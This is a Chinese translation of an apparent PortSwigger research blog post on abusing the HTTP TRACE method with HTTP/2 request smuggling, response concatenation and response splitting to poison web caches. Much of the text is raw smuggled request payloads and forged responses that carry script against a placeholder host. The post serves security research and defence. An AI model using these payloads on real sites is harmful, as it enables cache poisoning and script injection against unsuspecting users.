利用TRACE方法简化反同步攻击:HTTP请求走私与缓存投毒技术解析

本文详细介绍了如何利用被遗忘的TRACE HTTP方法结合HTTP/2反同步漏洞实现请求走私攻击,通过响应拼接和Web缓存投毒技术完全入侵Web应用,揭示了传统方法在现代攻击中的新威胁。

利用TRACE方法简化反同步攻击 | PortSwigger研究

Martin Doyhenard
研究员
@tincho_508

发布时间: 2024年3月19日 14:00 UTC
更新时间: 2024年6月19日 13:58 UTC

你是否曾经发现一个HTTP反同步漏洞,但由于其复杂的约束条件而看似无法利用?在本篇博客中,我们将探索一种新的利用技术,可以通过TRACE方法完全入侵Web应用——这是一种古老的HTTP方法,但其支持范围可能比你想象的更广泛。

最近我在一个漏洞赏金项目中发现了HTTP/2反同步漏洞(又称HTTP请求走私),该漏洞存在HTTP/2头部注入问题。具体来说,可以在头部值中注入换行符,让我能够走私传输编码头部,最终在后端分割请求。

在确认漏洞并提交给项目后,我收到了以下消息: “感谢您的提交。能够走私请求本身并不是漏洞。您如何能够利用走私请求?”

尽管在2024年说走私请求本身不是漏洞似乎是一个大胆的声明,但我有信心能够制作一个良好的概念证明来展示影响。

但在查看了应用程序几个小时后,我开始担心,因为没有端点可以用来创建我的有效载荷。没有其他漏洞可以利用请求走私,也没有反射参数可以用于响应走私,更糟糕的是,前端和后端之间的连接似乎是相互隔离的,因此我无法直接攻击其他用户。我能够使用HEAD走私请求来分割响应队列中的消息,但除此之外,这个主机似乎无法被利用。

TRACE方法

那时我注意到了一些有趣的事情。后端服务器被配置为响应TRACE请求。

对于那些不熟悉此方法的人,HTTP RFC规定: “TRACE方法请求远程、应用级的请求消息回环。请求的最终接收者应该反射接收到的消息…”

这意味着如果我们发送如下请求:

1
2
3
TRACE / HTTP/1.1
Host: vulnerable.com
SomeHeader: <script>alert("reflected")</script>

我们将获得一个响应,其中包含相同的请求体,并且内容类型为"message/http":

1
2
3
4
5
6
7
8
HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 125

TRACE / HTTP/1.1
Host: vulnerable.com
SomeHeader: <script>alert("reflected")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

尽管你可能认为TRACE方法在现代系统中并不真正使用,但一些最流行的Web服务器默认启用此功能,需要显式禁用。像Apache和许多Microsoft IIS和Tomcat版本这样的服务器,如果没有应用自定义配置,将响应TRACE请求。

TRACE请求在分析走私漏洞时非常有用。这是因为响应将准确显示后端接收到的内容。

能够看到转发的请求可以提供有关代理修改或添加的头部(如X-Forwarded-For头部)的信息,甚至包括协议修改,例如从HTTP/2降级到HTTP/1.1,这是许多反同步漏洞的根源。

但更有趣的是,我们可以使用TRACE响应来构建有效载荷,通过将其与响应走私和Web缓存投毒相结合,完全入侵应用程序。让我们看看如何实现:

响应走私回顾

对于那些不熟悉响应连接的人,基本思想是走私一个HEAD请求,该请求将产生一个仅包含头部的响应。根据HTTP RFC,此响应可以包含一个内容长度头部,其值必须与GET响应的值相同。当响应与HEAD请求匹配时,代理应忽略此头部。

然而,由于HEAD消息是走私的,代理从未注意到这一点,内容长度将不会被忽略,导致与下一个可用响应连接。

例如,考虑以下用于利用易受CL.0反同步攻击的服务器的请求:

1
2
3
4
5
6
7
8
9
GET / HTTP/1.1
Host: vulnerable.com
Content-Length: 108

HEAD / HTTP/1.1
Host: vulnerable.com

GET /reflect?value=myReflectedString HTTP/1.1
Host: vulnerable.com

第一个响应将照常转发给攻击者。

但是,由于代理从未看到HEAD请求,它将像通常那样解析下一个响应的内容长度,将下一个响应用作主体的一部分。

1
2
3
4
5
6
7
8
9
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 82

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 17

myReflectedString

使用这种技术,攻击者可以连接响应,使用头部作为主体,并通过更改有效载荷的内容类型来修改消息的行为,如前面的示例所示。

利用TRACE进行反同步攻击

回到HTTP/2反同步漏洞,我没有端点在响应的头部或主体中反射有用的内容。但是TRACE请求呢?

由于TRACE响应将反射后端接收到的任何头部,我们可以使用它来生成恶意脚本并将其放置在HEAD响应的主体中:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
GET / HTTP/1.1
Host: vulnerable.com
Content-Length: 150

HEAD / HTTP/1.1
Host: vulnerable.com

TRACE / HTTP/1.1
Host: vulnerable.com
SomeHeader: <script>alert("reflected")</script>
Other: aaaaaa…

产生以下响应:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 110

TRACE / HTTP/1.1
Host: vulnerable.com
SomeHeader: <script>alert("reflected")</script>
Other: aaaaaa….

响应将被转发到通过同一连接到达的下一个请求,通过恶意JavaScript控制浏览器!

这种技术虽然强大,但需要服务器响应TRACE请求,这在大多数生产环境中似乎不太可能。由于此方法仅应用于调试目的,代理通常使用某些防火墙规则阻止这些请求,这些规则将返回禁止响应。

但是,由于走私可用于绕过防火墙规则,可以将TRACE消息隐藏在代理之外并直接传递到后端。因此,即使该方法被禁止,通过反同步进行利用仍然是可能的。

到目前为止,我能够反同步连接以在响应中反射任意有效载荷。然而,由于后端连接相互隔离,恶意响应只会由发出它的用户接收。

即使用户之间不共享连接,也有两种技术可以利用这种情况:Web缓存投毒和客户端反同步。

在这种情况下,客户端反同步不可行(需要HTTP/2注入),但应用程序在缓存中存储静态响应,这意味着Web缓存投毒是可能的。

使用响应连接,可以选择包含内容长度和缓存控制头部的响应,强制响应存储在缓存中。

尽管我能够找到许多潜在的候选端点,但它们都没有值为text/html的内容类型头部。这意味着即使我能够使用这些响应之一存储我的有效载荷,浏览器也不会执行我的恶意JavaScript。

那时,我可以先发送反同步攻击,然后通过同一HTTP/2连接请求静态资源如"/payload.css",并为该端点存储响应。任何请求"/payload.css"的人都会从缓存中接收恶意有效载荷,并且JavaScript将被执行。

尽管这种攻击可能有效,但要影响用户,必须覆盖现有资源的缓存响应,并且根据页面的加载方式和响应的max-age,有效利用受害者浏览器可能相当困难。

从TRACE到响应分割

不过,还有一个更好的选择。当我研究响应走私时,我理论化了一种情况,攻击者可以分割响应以创建将被存储在缓存中的任意消息。

为此,应用程序必须允许某些内容反射包括换行符,以便攻击者可以编写响应头部以及有效载荷:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
GET / HTTP/1.1
Host: vulnerable.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: vulnerable.com

POST /reflect HTTP/1.1
Host: vulnerable.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("arbitrary response")</script>

这将创建以下响应:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert("arbitrary response")</script>

如前所述,最后一条消息将用于完成HEAD响应,但在这种情况下,只有前78个字节将被连接。

如果剩余的字节不对应于有效的HTTP消息,代理将转发500错误消息或只是在转发前一个响应后关闭连接。

但是,在这种情况下,代理能够正确解析剩余有效载荷作为有效的HTTP响应。因此,消息将被转发为下一个可用请求的响应。

通过这种方式,攻击者能够生成包括头部和主体的任意响应,该响应将存储在后续请求中指定的URL的缓存中。

找到一个允许我们反射主体中发送的任何字节的端点极为罕见,但如果允许TRACE请求,则攻击完全可行。

请注意,根据配置,TRACE请求不能包含大于0的内容长度头部,因此无法在同一请求中添加JavaScript有效载荷。我们可以使用上述相同技术添加一个额外的响应来生成有效载荷的主体。

像Apache这样的一些服务器,如果存在"TraceEnabled extended"指令,将允许主体,这使得攻击更加简单。

如果不允许主体,可以使用走私的传输编码或额外的响应添加消息长度头部,该响应将附加在TRACE消息的最后一个头部之后:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
GET / HTTP/1.1
Host: vulnerable.com
Content-Length: 268

HEAD /smuggled HTTP/1.1
Host: vulnerable.com

TRACE / HTTP/1.1
Host: vulnerable.com
A: HTTP/1.1 200 Ok
Cache-Control: max-age=1000000

HEAD /smuggled HTTP/1.1
Host: vulnerable.com

TRACE / HTTP/1.1
Host: vulnerable.com
A: <script>alert("XSS")</script>

这将生成以下响应:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 Ok
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 Ok
Content-Type: message/http
Content-Length: 150

TRACE / HTTP/1.1
Host: vulnerable.com
Padding: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
A: HTTP/1.1 200 OK
Cache-Control: max-age=1000000
B: HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 Ok
Content-Type: message/http
Content-Length: 79

TRACE / HTTP/1.1
Host: vulnerable.com
A: <script>alert("Arbitrary XSS")</script>

如果TRACE实现使得无法在响应中附加消息长度头部,也可以创建将存储在缓存中的重定向响应。这可以重定向到存储的有效载荷(使用缓存欺骗/投毒技术),或重定向到攻击者的页面以发起另一攻击,如客户端反同步或经典网络钓鱼。

结论

总之,这个案例展示了如何使用被遗忘的方法如TRACE,结合现代技术如HTTP反同步和缓存投毒,可能导致Web应用中的严重安全问题。尽管TRACE是一种古老的方法,但它被证明对于知道如何创造性使用它的攻击者非常有效。

这提醒我们永远不应低估旧技术,因为它们可以以新的方式使用,为网络安全创造重大挑战。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计